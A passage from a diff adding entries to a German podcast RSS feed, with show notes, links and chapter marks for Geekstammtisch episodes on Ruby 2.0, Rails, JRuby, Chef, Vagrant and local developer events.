+<li>Für Chef: <a href="https://github.com/pivotal/pivotal_workstation">https://github.com/pivotal/pivotal_workstation</a></li>
+</ul></li>
+<li>Vim Autocompletion (wenn Lucas schon da ist ^^)
+
+<ul>
+<li>Aktuell verwenden Lucas und Dirk “YouCompleteMeâ€: <a href="https://github.com/Valloric/YouCompleteMe">https://github.com/Valloric/YouCompleteMe</a>. Gefällt uns nicht so gut, aber sehr zu empfehlen wenn man C-* programmiert</li>
+<li>Alternative: <a href="https://github.com/Shougo/neocomplcache">https://github.com/Shougo/neocomplcache</a></li>
+<li>Oder einfach ohne extra Plugin ;-)</li>
+</ul></li>
+</ul>
+
+<h3>Events (01:20:20)</h3>
+
+<ul>
+<li>Railsgirls Rheinland ist in knapp 2 Wochen (<a href="http://www.nerdhub.de/events/260-rails-girls-rheinland/dates/1756">http://www.nerdhub.de/events/260-rails-girls-rheinland/dates/1756</a>)</li>
+<li>Railsgirls Followup am Donnerstag bei Intro (<a href="http://www.nerdhub.de/events/115-rails-girls-cologne/dates/1571">http://www.nerdhub.de/events/115-rails-girls-cologne/dates/1571</a>)</li>
+<li>cologne.rb am Mittwoch bei adcloud (<a href="http://www.nerdhub.de/events/40-cologne-rb/dates/843">http://www.nerdhub.de/events/40-cologne-rb/dates/843</a>)</li>
+<li>cologne.js in der neuen Bottfabrik! (<a href="http://www.nerdhub.de/events/3-cologne-js/dates/1597">http://www.nerdhub.de/events/3-cologne-js/dates/1597</a>)</li>
+</ul>
+
+<h3>Offtopic (01:25:40)</h3>
+
+<ul>
+<li>Die Nifty Drives (<a href="http://theniftyminidrive.com/">http://theniftyminidrive.com/</a>) von Basti und Dirk sind endlich da
+
+<ul>
+<li>Das von Dirk leider aber doch nur in Silber (statt Pink)</li>
+</ul></li>
+<li>XKCD Style Comics in HTML: <a href="http://cmx.io/edit/">http://cmx.io/edit/</a></li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST006" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Intro" />
+
+ <psc:chapter start="00:00:40" title="Unser Gast: Lucas" />
+
+ <psc:chapter start="00:01:40" title="ArangoDB &amp; Ashikawa" />
+
+ <psc:chapter start="00:19:50" title="Testing Ruby" />
+
+ <psc:chapter start="00:39:00" title="Ruby/Rails Security" />
+
+ <psc:chapter start="00:48:50" title="Ruby Krams" />
+
+ <psc:chapter start="00:55:10" title="Technical Dept" />
+
+ <psc:chapter start="01:08:35" title="Erlang on XEN aka geiler Scheiß" />
+
+ <psc:chapter start="01:11:40" title="Tools" />
+
+ <psc:chapter start="01:20:20" title="Events" />
+
+ <psc:chapter start="01:25:40" title="Offtopic" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST007 - Provisionieren mit Bash</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Klaus Zanders (@klaustopher)</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst007.mp3" length="72255059" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST007</guid>
+ <pubDate>Sat, 09 Mar 2013 18:40:28 +0100</pubDate>
+ <itunes:duration>01:40:10</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis:** Heute zu Gast ist Klaus (@klaustopher) und wir reden viel
+über Ruby 2.0, die aktuellen Rails Release Candidates, Config-Formate
+und Threading in Ruby. Das
+ganze wird diesmal abgerundet mit einem Ausflug in die Frontend-Welt und
+ein Besuch bei DevOps.
+
+### Unser Gast (00:01:25)
+
+ * Klaus Zanders (@klaustopher)
+ * www.putpat.tv
+ * Hat bei IBM studiert
+ * War dann bei Microsoft
+ * Zwischendurch bei einer Versicherung
+ * Nun darf er endlich Ruby machen \o/
+
+### In eigener Sache (00:04:35)
+
+ * Wir haben Hörer in Polen!! https://shellycloud.com/
+ * Es gibt Leute, die an gst-kitchen interessiert sind *yeah* :)
+ * Wir haben jetzt auch Kapitelmarken
+ * Unsere Webseite hat jetzt den Podlove-Webplayer
+ * opus ist auf dem Weg
+
+### Ruby 2.0 (00:09:00)
+
+ * Ruby 2.0 ist da (ja, schon was länger). Und die Community war mal
+ wieder super schnell mit Adaption von allem (debugger, rvm)
+ * Basti hat mit Ruby 2.0 und Dtrace
+ (http://en.wikipedia.org/wiki/DTrace) rumgespielt
+ * Ruby 2.0 TracePoints zur Analyse
+ http://matt.aimonetti.net/posts/2013/03/05/inspecting-rails-4-request-dispatch-using-ruby-2-dot-0
+ * Ein paar Slides zu den neuen Features von Ruby 2.0:
+ https://speakerdeck.com/peterc/ruby-2-dot-0-walkthrough-the-best-bits
+ * Matz’s Talk auf der Waza (Heroku):
+ https://blog.heroku.com/archives/2013/3/6/matz_highlights_ruby_2_0_at_waza
+ * Ruby 1.8.7 ist ab Juni nicht mehr supported (auch keine Security
+ Fixes)
+
+### Refinements (00:20:31)
+
+ * Wir haben ein wenig über Refinements diskutiert
+ (http://www.ruby-lang.org/en/news/2013/02/24/ruby-2-0-0-p0-is-released#label-9)
+
+### Rails (00:26:57)
+
+ * Rails 4.0.rc1:
+ http://weblog.rubyonrails.org/2013/2/25/Rails-4-0-beta1/
+ * Rails 3.2.13.rc2:
+ http://weblog.rubyonrails.org/2013/3/7/Rails-3-2-13-rc2-has-been-released/
+
+### TOML, Performance, SOA und Threads (00:28:40)
+
+ * @mojombo hat ein neues Config Format erfunden:
+ http://zerowidth.com/2013/02/24/parsing-toml-in-ruby-with-parslet.html
+ * @tenderlove zu `class_eval` vs `define_method`:
+ http://tenderlovemaking.com/2013/03/03/dynamic_method_definitions.html
+ * SOA mit Rails:
+ https://developer.uservoice.com/blog/2013/02/27/introducing-mutations-putting-soa-on-rails-for-security-and-maintainability/
+ * Ruby Threading
+ * Threads in Ruby:
+ http://tonyarcieri.com/2012-the-year-rubyists-learned-to-stop-worrying-and-love-the-threads
+ * Concurrency in jruby:
+ https://github.com/jruby/jruby/wiki/Concurrency-in-jruby
+ * Rails 4 ist threadsafe per Default
+ * C-Extensions lieber mit FFI: https://github.com/ffi/ffi
+
+### RegExp debugging, 1M Connections mit Ruby (00:47:50)
+
+ * RegExp debuggen mit http://www.debuggex.com/
+ * RegExp Bug in gst-kitchen:
+ https://github.com/tisba/gst-kitchen/issues/4
+ * Alt, aber immer noch gut: Ruby macht eine Millionen Concurrent
+ Connections! https://github.com/slivu/1mc2
+ * Open Source Projekte, die auf Rails basieren:
+ http://www.opensourcerails.com
+ * Ruby Game auf Gosu: Panzer programmieren die sich gegenseitig
+ abschießen https://github.com/awilliams/RTanque
+ * Gosu: http://en.wikipedia.org/wiki/Gosu
+ * Fußball-Simulator:
+ http://sourceforge.net/apps/mediawiki/sserver/index.php?title=Main_Page
+
+### FlatUI, ember.js & The end of Browser Wars? (01:02:00)
+
+ * FlatUI Takedown Foo
+ * http://designmodo.com/flat-free/ (Comments)
+ * https://github.com/github/dmca/commit/735e17614cca63102b8414ed2846c3effbfe9535
+ * https://news.layervault.com/stories/1992-layervault-whats-up-with-the-dmca
+ * https://github.com/github/dmca/blob/master/2013-03-06-LayerVault.md
+ * https://github.com/github/dmca/blob/master/2013-03-06-LayerVault-counternotice.md
+ * Ember.js: http://emberjs.com/
+ * Sehr opinionated, Client-Javascript MVC Framework
+ * Tavis-CI (https://travis-ci.org/) hat die GUI in Ember.js
+ * http://www.discourse.org/ ist in Ember.js
+ * Browser-War zu Ende?
+ * Opera nun auf Webkit & V8
+ * Und ja Basti, Firefox gibt es auch noch
+
+### Self-Plug: Homeoffice Cologne (01:18:23)
+
+ * Unsere Bürogemeinschaft (und Studio): http://home-office-cologne.de
+
+### DevOps: Chef (01:21:33)
+
+ * Chef
+ * AWS setzt auf Chef mit OpsWorks: https://aws.amazon.com/opsworks/
+ * kurzes Einführungsvideo:
+ http://www.youtube.com/watch?v=9NnWJsS4Y2c
+ * OpsWorks Cookbooks: https://github.com/aws/opsworks-cookbooks
+ * Facebook managed ihren Web-Tier mit Chef:
+ http://www.infoq.com/news/2013/02/facebook-chef
+ * Rack-Stack: unicorn, haproxy & nginx
+
+### Misc (01:32:21)
+
+ * iOS Workshop mit Roddi: http://undsoversity.de/ios-entwicklung
+ * Best Tool for the Job bei Spotify:
+ http://labs.spotify.com/2013/02/25/in-praise-of-boring-technology/
+
+### Musikkonsum (01:35:30)
+
+ * Spotify ja oder nein?
+ * Musik via Podcast (im elektronischen Bereich jedenfalls)
+
+### Events (01:38:50)
+
+ * RailsGirls Follow-Up Meeting am 18.3. in der Bottmühle:
+ https://www.facebook.com/events/173658956115148/]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis:</strong> Heute zu Gast ist Klaus (<a href="https://twitter.com/klaustopher">@klaustopher</a>) und wir reden viel
+über Ruby 2.0, die aktuellen Rails Release Candidates, Config-Formate
+und Threading in Ruby. Das
+ganze wird diesmal abgerundet mit einem Ausflug in die Frontend-Welt und
+ein Besuch bei DevOps.</p>
+
+<h3>Unser Gast (00:01:25)</h3>
+
+<ul>
+<li>Klaus Zanders (<a href="https://twitter.com/klaustopher">@klaustopher</a>)</li>
+<li><a href="http://www.putpat.tv">www.putpat.tv</a></li>
+<li>Hat bei IBM studiert</li>
+<li>War dann bei Microsoft</li>
+<li>Zwischendurch bei einer Versicherung</li>
+<li>Nun darf er endlich Ruby machen \o/</li>
+</ul>
+
+<h3>In eigener Sache (00:04:35)</h3>
+
+<ul>
+<li>Wir haben Hörer in Polen!! <a href="https://shellycloud.com/">https://shellycloud.com/</a></li>
+<li>Es gibt Leute, die an gst-kitchen interessiert sind <em>yeah</em> :)</li>
+<li>Wir haben jetzt auch Kapitelmarken</li>
+<li>Unsere Webseite hat jetzt den Podlove-Webplayer</li>
+<li>opus ist auf dem Weg</li>
+</ul>
+
+<h3>Ruby 2.0 (00:09:00)</h3>
+
+<ul>
+<li>Ruby 2.0 ist da (ja, schon was länger). Und die Community war mal
+wieder super schnell mit Adaption von allem (debugger, rvm)</li>
+<li>Basti hat mit Ruby 2.0 und Dtrace
+(<a href="http://en.wikipedia.org/wiki/DTrace">http://en.wikipedia.org/wiki/DTrace</a>) rumgespielt</li>
+<li>Ruby 2.0 TracePoints zur Analyse
+<a href="http://matt.aimonetti.net/posts/2013/03/05/inspecting-rails-4-request-dispatch-using-ruby-2-dot-0">http://matt.aimonetti.net/posts/2013/03/05/inspecting-rails-4-request-dispatch-using-ruby-2-dot-0</a></li>
+<li>Ein paar Slides zu den neuen Features von Ruby 2.0:
+<a href="https://speakerdeck.com/peterc/ruby-2-dot-0-walkthrough-the-best-bits">https://speakerdeck.com/peterc/ruby-2-dot-0-walkthrough-the-best-bits</a></li>
+<li>Matz’s Talk auf der Waza (Heroku):
+<a href="https://blog.heroku.com/archives/2013/3/6/matz_highlights_ruby_2_0_at_waza">https://blog.heroku.com/archives/2013/3/6/matz_highlights_ruby_2_0_at_waza</a></li>
+<li>Ruby 1.8.7 ist ab Juni nicht mehr supported (auch keine Security
+Fixes)</li>
+</ul>
+
+<h3>Refinements (00:20:31)</h3>
+
+<ul>
+<li>Wir haben ein wenig über Refinements diskutiert
+(<a href="http://www.ruby-lang.org/en/news/2013/02/24/ruby-2-0-0-p0-is-released#label-9">http://www.ruby-lang.org/en/news/2013/02/24/ruby-2-0-0-p0-is-released#label-9</a>)</li>
+</ul>
+
+<h3>Rails (00:26:57)</h3>
+
+<ul>
+<li>Rails 4.0.rc1:
+<a href="http://weblog.rubyonrails.org/2013/2/25/Rails-4-0-beta1/">http://weblog.rubyonrails.org/2013/2/25/Rails-4-0-beta1/</a></li>
+<li>Rails 3.2.13.rc2:
+<a href="http://weblog.rubyonrails.org/2013/3/7/Rails-3-2-13-rc2-has-been-released/">http://weblog.rubyonrails.org/2013/3/7/Rails-3-2-13-rc2-has-been-released/</a></li>
+</ul>
+
+<h3>TOML, Performance, SOA und Threads (00:28:40)</h3>
+
+<ul>
+<li><a href="https://twitter.com/mojombo">@mojombo</a> hat ein neues Config Format erfunden:
+<a href="http://zerowidth.com/2013/02/24/parsing-toml-in-ruby-with-parslet.html">http://zerowidth.com/2013/02/24/parsing-toml-in-ruby-with-parslet.html</a></li>
+<li><a href="https://twitter.com/tenderlove">@tenderlove</a> zu <code>class_eval</code> vs <code>define_method</code>:
+<a href="http://tenderlovemaking.com/2013/03/03/dynamic_method_definitions.html">http://tenderlovemaking.com/2013/03/03/dynamic_method_definitions.html</a></li>
+<li>SOA mit Rails:
+<a href="https://developer.uservoice.com/blog/2013/02/27/introducing-mutations-putting-soa-on-rails-for-security-and-maintainability/">https://developer.uservoice.com/blog/2013/02/27/introducing-mutations-putting-soa-on-rails-for-security-and-maintainability/</a></li>
+<li>Ruby Threading
+
+<ul>
+<li>Threads in Ruby:
+<a href="http://tonyarcieri.com/2012-the-year-rubyists-learned-to-stop-worrying-and-love-the-threads">http://tonyarcieri.com/2012-the-year-rubyists-learned-to-stop-worrying-and-love-the-threads</a></li>
+<li>Concurrency in jruby:
+<a href="https://github.com/jruby/jruby/wiki/Concurrency-in-jruby">https://github.com/jruby/jruby/wiki/Concurrency-in-jruby</a></li>
+<li>Rails 4 ist threadsafe per Default</li>
+<li>C-Extensions lieber mit FFI: <a href="https://github.com/ffi/ffi">https://github.com/ffi/ffi</a></li>
+</ul></li>
+</ul>
+
+<h3>RegExp debugging, 1M Connections mit Ruby (00:47:50)</h3>
+
+<ul>
+<li>RegExp debuggen mit <a href="http://www.debuggex.com/">http://www.debuggex.com/</a></li>
+<li>RegExp Bug in gst-kitchen:
+<a href="https://github.com/tisba/gst-kitchen/issues/4">https://github.com/tisba/gst-kitchen/issues/4</a></li>
+<li>Alt, aber immer noch gut: Ruby macht eine Millionen Concurrent
+Connections! <a href="https://github.com/slivu/1mc2">https://github.com/slivu/1mc2</a></li>
+<li>Open Source Projekte, die auf Rails basieren:
+<a href="http://www.opensourcerails.com">http://www.opensourcerails.com</a></li>
+<li>Ruby Game auf Gosu: Panzer programmieren die sich gegenseitig
+abschießen <a href="https://github.com/awilliams/RTanque">https://github.com/awilliams/RTanque</a>
+
+<ul>
+<li>Gosu: <a href="http://en.wikipedia.org/wiki/Gosu">http://en.wikipedia.org/wiki/Gosu</a></li>
+</ul></li>
+<li>Fußball-Simulator:
+<a href="http://sourceforge.net/apps/mediawiki/sserver/index.php?title=Main_Page">http://sourceforge.net/apps/mediawiki/sserver/index.php?title=Main_Page</a></li>
+</ul>
+
+<h3>FlatUI, ember.js &amp; The end of Browser Wars? (01:02:00)</h3>
+
+<ul>
+<li>FlatUI Takedown Foo
+
+<ul>
+<li><a href="http://designmodo.com/flat-free/">http://designmodo.com/flat-free/</a> (Comments)</li>
+<li><a href="https://github.com/github/dmca/commit/735e17614cca63102b8414ed2846c3effbfe9535">https://github.com/github/dmca/commit/735e17614cca63102b8414ed2846c3effbfe9535</a></li>
+<li><a href="https://news.layervault.com/stories/1992-layervault-whats-up-with-the-dmca">https://news.layervault.com/stories/1992-layervault-whats-up-with-the-dmca</a></li>
+<li><a href="https://github.com/github/dmca/blob/master/2013-03-06-LayerVault.md">https://github.com/github/dmca/blob/master/2013-03-06-LayerVault.md</a></li>
+<li><a href="https://github.com/github/dmca/blob/master/2013-03-06-LayerVault-counternotice.md">https://github.com/github/dmca/blob/master/2013-03-06-LayerVault-counternotice.md</a></li>
+</ul></li>
+<li>Ember.js: <a href="http://emberjs.com/">http://emberjs.com/</a>
+
+<ul>
+<li>Sehr opinionated, Client-Javascript MVC Framework</li>
+<li>Tavis-CI (<a href="https://travis-ci.org/">https://travis-ci.org/</a>) hat die GUI in Ember.js</li>
+<li><a href="http://www.discourse.org/">http://www.discourse.org/</a> ist in Ember.js</li>
+</ul></li>
+<li>Browser-War zu Ende?
+
+<ul>
+<li>Opera nun auf Webkit &amp; V8</li>
+<li>Und ja Basti, Firefox gibt es auch noch</li>
+</ul></li>
+</ul>
+
+<h3>Self-Plug: Homeoffice Cologne (01:18:23)</h3>
+
+<ul>
+<li>Unsere Bürogemeinschaft (und Studio): <a href="http://home-office-cologne.de">http://home-office-cologne.de</a></li>
+</ul>
+
+<h3>DevOps: Chef (01:21:33)</h3>
+
+<ul>
+<li>Chef
+
+<ul>
+<li>AWS setzt auf Chef mit OpsWorks: <a href="https://aws.amazon.com/opsworks/">https://aws.amazon.com/opsworks/</a></li>
+<li>kurzes Einführungsvideo:
+<a href="http://www.youtube.com/watch?v=9NnWJsS4Y2c">http://www.youtube.com/watch?v=9NnWJsS4Y2c</a></li>
+<li>OpsWorks Cookbooks: <a href="https://github.com/aws/opsworks-cookbooks">https://github.com/aws/opsworks-cookbooks</a></li>
+<li>Facebook managed ihren Web-Tier mit Chef:
+<a href="http://www.infoq.com/news/2013/02/facebook-chef">http://www.infoq.com/news/2013/02/facebook-chef</a></li>
+</ul></li>
+<li>Rack-Stack: unicorn, haproxy &amp; nginx</li>
+</ul>
+
+<h3>Misc (01:32:21)</h3>
+
+<ul>
+<li>iOS Workshop mit Roddi: <a href="http://undsoversity.de/ios-entwicklung">http://undsoversity.de/ios-entwicklung</a></li>
+<li>Best Tool for the Job bei Spotify:
+<a href="http://labs.spotify.com/2013/02/25/in-praise-of-boring-technology/">http://labs.spotify.com/2013/02/25/in-praise-of-boring-technology/</a></li>
+</ul>
+
+<h3>Musikkonsum (01:35:30)</h3>
+
+<ul>
+<li>Spotify ja oder nein?</li>
+<li>Musik via Podcast (im elektronischen Bereich jedenfalls)</li>
+</ul>
+
+<h3>Events (01:38:50)</h3>
+
+<ul>
+<li>RailsGirls Follow-Up Meeting am 18.3. in der Bottmühle:
+<a href="https://www.facebook.com/events/173658956115148/">https://www.facebook.com/events/173658956115148/</a></li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST007" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Intro" />
+
+ <psc:chapter start="00:01:25" title="Unser Gast" />
+
+ <psc:chapter start="00:04:35" title="In eigener Sache" />
+
+ <psc:chapter start="00:09:00" title="Ruby 2.0" />
+
+ <psc:chapter start="00:20:31" title="Refinements" />
+
+ <psc:chapter start="00:26:57" title="Rails" />
+
+ <psc:chapter start="00:28:40" title="TOML, Performance, SOA und Threads" />
+
+ <psc:chapter start="00:47:50" title="RegExp debugging, 1M Connections mit Ruby" />
+
+ <psc:chapter start="01:02:00" title="FlatUI, ember.js &amp; The end of Browser Wars?" />
+
+ <psc:chapter start="01:18:23" title="Self-Plug: Homeoffice Cologne" />
+
+ <psc:chapter start="01:21:33" title="DevOps: Chef" />
+
+ <psc:chapter start="01:32:21" title="Misc" />
+
+ <psc:chapter start="01:35:30" title="Musikkonsum" />
+
+ <psc:chapter start="01:38:50" title="Events" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST008 - Rake auf Drogen</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Lucas Dohmen (@moonbeamlabs) über Ruby, JRuby, DevOps und anderen spannenden Dingen</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst008.mp3" length="65310340" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST008</guid>
+ <pubDate>Wed, 20 Mar 2013 17:49:40 +0100</pubDate>
+ <itunes:duration>01:30:32</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis**: Heute ist der Lucas (@moonbeamlabs) mal wieder zu Besuch und wir haben über Serialisierung in Ruby, Thor und JRuby gesprochen. Es gibt auch mal wieder was aus der DevOps-Ecke, namentlich Vagrant und VMware und Gem-Hosting. Natürlich haben wir uns auch nicht nehmen lassen, über das Ende von Google Reader zu philosophieren und den GitHub Enterprise Faux Pa zu erwähnen. Zum Ende erzählt Lucas noch etwas zu seinem Dotfiles Installationsskript.
+
+### Intro / Errata (00:00:00)
+
+ * Ruby 1.8.7 depricated seit Juni 2012 (http://www.ruby-lang.org/en/news/2011/10/06/plans-for-1-8-7/)
+ * Ruby 2.0 Walkthrough war damals nur für die Kickstarter Backer verfügbar: http://www.kickstarter.com/projects/1225193080/the-ruby-20-walkthrough/posts
+ * irb für mehrere Rubies von Peter Cooper: https://gist.github.com/peterc/1226588
+
+### Ruby (00:06:27)
+
+ * Rails-API Projekt: https://github.com/rails-api/rails-api
+ * https://github.com/rails-api/active_model_serializers
+ * http://railscasts.com/episodes/409-active-model-serializers
+ * http://railscasts.com/episodes/320-jbuilder
+ * http://railscasts.com/episodes/322-rabl
+ * https://github.com/apotonick/roar
+ * Thor - “Rake auf Drogen†(http://whatisthor.com/)
+ * Leider sehr dürftig dokumentiert
+ * Erlaubt sehr effizient und strukturiert CLI Tools zu schreiben
+ * RedCarpet (https://github.com/vmg/redcarpet)
+ * Sucht neuen Maintainer (https://github.com/vmg/redcarpet/issues/212)
+ * Ist kramdown die Zukunft? (https://github.com/gettalong/kramdown)
+
+### JRuby (00:28:06)
+
+ * https://github.com/trinidad/trinidad
+ * http://torquebox.org
+ * https://github.com/jruby/jruby/wiki/Servers
+ * Torquebox wird von RedHat gesponsered und ist daher vielleicht die bessere Alternative. Man muss ja nicht alle Features verwenden.
+
+### DevOps (00:43:10)
+
+ * Vagrant Provider für VMware Fusion ist fertig, kostet 79 USD: http://www.vagrantup.com/vmware
+ * Mitchell Hashimoto / HashiCorp: http://www.hashicorp.com/
+ * AWS Provider: http://www.hashicorp.com/blog/preview-vagrant-aws.html
+ * Private Gems hosten
+ * Gem in a Box: https://github.com/cwninja/geminabox
+ * http://www.gemfury.com/l/gem-server
+
+### Netzklatsch (00:58:04)
+
+ * Google Reader
+ * Reeder App (http://reederapp.com) ohne Google Reader? Hoffentlich! https://twitter.com/reederapp/status/311995748482945025
+ * Alternativen zu Google Reader
+ * http://www.feedafever.com/ (Reeder supported Fever, aber bisher nur auf dem iPhone)
+ * http://www.feedly.com/
+ * Prismatic: http://getprismatic.com/news/home
+ * Github Leak: Liste der GHE Kunden https://news.ycombinator.com/item?id=5400986
+
+### Cool Stuff (01:17:50)
+
+ * Play by Play mit Aaron Patterson: https://peepcode.com/products/play-by-play-tenderlove-ruby-on-rails
+ * Play by Play mit Aaron Patterson und Corey Haines: https://peepcode.com/products/play-by-play-aaroncorey
+ * http://idevelop.github.com/ascii-camera/
+ * Alternative zu Lynx: http://elinks.or.cz/
+ * Dotfiles
+ * Lucas hat ‘Exogenesis’ gebaut: https://github.com/moonglum/exogenesis
+ * Dirks Suche nach nicht bedruckten Tastaturen: http://www.colorware.com/p-201-apple-wireless-keyboard.aspx (weiterhin erfolglos)]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis</strong>: Heute ist der Lucas (<a href="https://twitter.com/moonbeamlabs">@moonbeamlabs</a>) mal wieder zu Besuch und wir haben über Serialisierung in Ruby, Thor und JRuby gesprochen. Es gibt auch mal wieder was aus der DevOps-Ecke, namentlich Vagrant und VMware und Gem-Hosting. Natürlich haben wir uns auch nicht nehmen lassen, über das Ende von Google Reader zu philosophieren und den GitHub Enterprise Faux Pa zu erwähnen. Zum Ende erzählt Lucas noch etwas zu seinem Dotfiles Installationsskript.</p>
+
+<h3>Intro / Errata (00:00:00)</h3>
+
+<ul>
+<li>Ruby 1.8.7 depricated seit Juni 2012 (<a href="http://www.ruby-lang.org/en/news/2011/10/06/plans-for-1-8-7/">http://www.ruby-lang.org/en/news/2011/10/06/plans-for-1-8-7/</a>)</li>
+<li>Ruby 2.0 Walkthrough war damals nur für die Kickstarter Backer verfügbar: <a href="http://www.kickstarter.com/projects/1225193080/the-ruby-20-walkthrough/posts">http://www.kickstarter.com/projects/1225193080/the-ruby-20-walkthrough/posts</a></li>
+<li>irb für mehrere Rubies von Peter Cooper: <a href="https://gist.github.com/peterc/1226588">https://gist.github.com/peterc/1226588</a></li>
+</ul>
+
+<h3>Ruby (00:06:27)</h3>
+
+<ul>
+<li>Rails-API Projekt: <a href="https://github.com/rails-api/rails-api">https://github.com/rails-api/rails-api</a>
+
+<ul>
+<li><a href="https://github.com/rails-api/active_model_serializers">https://github.com/rails-api/active_model_serializers</a></li>
+<li><a href="http://railscasts.com/episodes/409-active-model-serializers">http://railscasts.com/episodes/409-active-model-serializers</a></li>
+<li><a href="http://railscasts.com/episodes/320-jbuilder">http://railscasts.com/episodes/320-jbuilder</a></li>
+<li><a href="http://railscasts.com/episodes/322-rabl">http://railscasts.com/episodes/322-rabl</a></li>
+<li><a href="https://github.com/apotonick/roar">https://github.com/apotonick/roar</a></li>
+</ul></li>
+<li>Thor - “Rake auf Drogen†(<a href="http://whatisthor.com/">http://whatisthor.com/</a>)
+
+<ul>
+<li>Leider sehr dürftig dokumentiert</li>
+<li>Erlaubt sehr effizient und strukturiert CLI Tools zu schreiben</li>
+</ul></li>
+<li>RedCarpet (<a href="https://github.com/vmg/redcarpet">https://github.com/vmg/redcarpet</a>)
+
+<ul>
+<li>Sucht neuen Maintainer (<a href="https://github.com/vmg/redcarpet/issues/212">https://github.com/vmg/redcarpet/issues/212</a>)</li>
+<li>Ist kramdown die Zukunft? (<a href="https://github.com/gettalong/kramdown">https://github.com/gettalong/kramdown</a>)</li>
+</ul></li>
+</ul>
+
+<h3>JRuby (00:28:06)</h3>
+
+<ul>
+<li><a href="https://github.com/trinidad/trinidad">https://github.com/trinidad/trinidad</a></li>
+<li><a href="http://torquebox.org">http://torquebox.org</a></li>
+<li><a href="https://github.com/jruby/jruby/wiki/Servers">https://github.com/jruby/jruby/wiki/Servers</a></li>
+<li>Torquebox wird von RedHat gesponsered und ist daher vielleicht die bessere Alternative. Man muss ja nicht alle Features verwenden.</li>
+</ul>
+
+<h3>DevOps (00:43:10)</h3>
+
+<ul>
+<li>Vagrant Provider für VMware Fusion ist fertig, kostet 79 USD: <a href="http://www.vagrantup.com/vmware">http://www.vagrantup.com/vmware</a>
+
+<ul>
+<li>Mitchell Hashimoto / HashiCorp: <a href="http://www.hashicorp.com/">http://www.hashicorp.com/</a> </li>
+<li>AWS Provider: <a href="http://www.hashicorp.com/blog/preview-vagrant-aws.html">http://www.hashicorp.com/blog/preview-vagrant-aws.html</a></li>
+</ul></li>
+<li>Private Gems hosten
+
+<ul>
+<li>Gem in a Box: <a href="https://github.com/cwninja/geminabox">https://github.com/cwninja/geminabox</a></li>
+<li><a href="http://www.gemfury.com/l/gem-server">http://www.gemfury.com/l/gem-server</a></li>
+</ul></li>
+</ul>
+
+<h3>Netzklatsch (00:58:04)</h3>
+
+<ul>
+<li>Google Reader</li>
+<li>Reeder App (<a href="http://reederapp.com">http://reederapp.com</a>) ohne Google Reader? Hoffentlich! <a href="https://twitter.com/reederapp/status/311995748482945025">https://twitter.com/reederapp/status/311995748482945025</a></li>
+<li>Alternativen zu Google Reader
+
+<ul>
+<li><a href="http://www.feedafever.com/">http://www.feedafever.com/</a> (Reeder supported Fever, aber bisher nur auf dem iPhone)</li>
+<li><a href="http://www.feedly.com/">http://www.feedly.com/</a></li>
+</ul></li>
+<li>Prismatic: <a href="http://getprismatic.com/news/home">http://getprismatic.com/news/home</a></li>
+<li>Github Leak: Liste der GHE Kunden <a href="https://news.ycombinator.com/item?id=5400986">https://news.ycombinator.com/item?id=5400986</a></li>
+</ul>
+
+<h3>Cool Stuff (01:17:50)</h3>
+
+<ul>
+<li>Play by Play mit Aaron Patterson: <a href="https://peepcode.com/products/play-by-play-tenderlove-ruby-on-rails">https://peepcode.com/products/play-by-play-tenderlove-ruby-on-rails</a></li>
+<li>Play by Play mit Aaron Patterson und Corey Haines: <a href="https://peepcode.com/products/play-by-play-aaroncorey">https://peepcode.com/products/play-by-play-aaroncorey</a></li>
+<li><a href="http://idevelop.github.com/ascii-camera/">http://idevelop.github.com/ascii-camera/</a></li>
+<li>Alternative zu Lynx: <a href="http://elinks.or.cz/">http://elinks.or.cz/</a></li>
+<li>Dotfiles
+
+<ul>
+<li>Lucas hat ‘Exogenesis’ gebaut: <a href="https://github.com/moonglum/exogenesis">https://github.com/moonglum/exogenesis</a></li>
+</ul></li>
+<li>Dirks Suche nach nicht bedruckten Tastaturen: <a href="http://www.colorware.com/p-201-apple-wireless-keyboard.aspx">http://www.colorware.com/p-201-apple-wireless-keyboard.aspx</a> (weiterhin erfolglos)</li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST008" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Intro / Errata" />
+
+ <psc:chapter start="00:06:27" title="Ruby" />
+
+ <psc:chapter start="00:28:06" title="JRuby" />
+
+ <psc:chapter start="00:43:10" title="DevOps" />
+
+ <psc:chapter start="00:58:04" title="Netzklatsch" />
+
+ <psc:chapter start="01:17:50" title="Cool Stuff" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST009 - Zweites Rack rechts</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit @bascht und sehr DevOps lastig: Deployment Strategien, Chef und VPNs</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst009.mp3" length="57587809" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST009</guid>
+ <pubDate>Tue, 26 Mar 2013 13:50:35 +0100</pubDate>
+ <itunes:duration>01:19:48</itunes:duration>
+ <itunes:summary><![CDATA[Synopsis: Zur 9ten Ausgabe hat sich der gute @bascht wieder zu uns auf
+das Sofa gesetzt. Wie sollte es anders sein, reden wir relativ viel über
+DevOps Themen. Neben Deploymentstrategien geht es dabei um Best
